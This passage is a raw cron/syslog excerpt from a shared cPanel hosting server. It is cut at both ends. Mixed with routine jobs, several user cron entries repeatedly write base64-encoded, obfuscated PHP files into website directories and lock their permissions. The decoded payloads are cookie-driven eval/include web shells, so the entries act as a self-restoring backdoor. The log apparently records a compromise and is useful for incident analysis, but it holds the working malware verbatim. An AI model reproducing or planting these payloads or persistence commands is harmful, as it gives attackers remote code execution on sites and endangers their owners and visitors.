IpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:50:02 medusa CROND[4361]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4363]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:50:02 medusa CROND[4336]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4369]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4374]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:50:02 medusa CROND[4373]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4382]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:50:02 medusa CROND[4384]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:50:02 medusa CROND[4344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:50:02 medusa CROND[4332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:50:02 medusa CROND[4383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4385]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:50:02 medusa CROND[4378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:50:02 medusa CROND[4389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:50:02 medusa CROND[4387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:50:02 medusa CROND[4367]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:51:01 medusa CROND[23405]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:51:01 medusa CROND[23406]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:51:01 medusa CROND[23407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:51:01 medusa CROND[23408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:51:01 medusa CROND[23414]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:51:01 medusa CROND[23415]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:51:01 medusa CROND[23416]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:51:01 medusa CROND[23418]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:51:01 medusa CROND[23417]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:51:01 medusa CROND[23422]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:51:01 medusa CROND[23420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:51:01 medusa CROND[23426]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:51:01 medusa CROND[23427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:51:01 medusa CROND[23428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:51:01 medusa CROND[23432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:52:01 medusa CROND[7294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:52:01 medusa CROND[7295]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:52:01 medusa CROND[7297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:52:01 medusa CROND[7299]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:52:01 medusa CROND[7300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:52:01 medusa CROND[7301]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:52:01 medusa CROND[7302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:52:01 medusa CROND[7308]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:52:01 medusa CROND[7314]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgP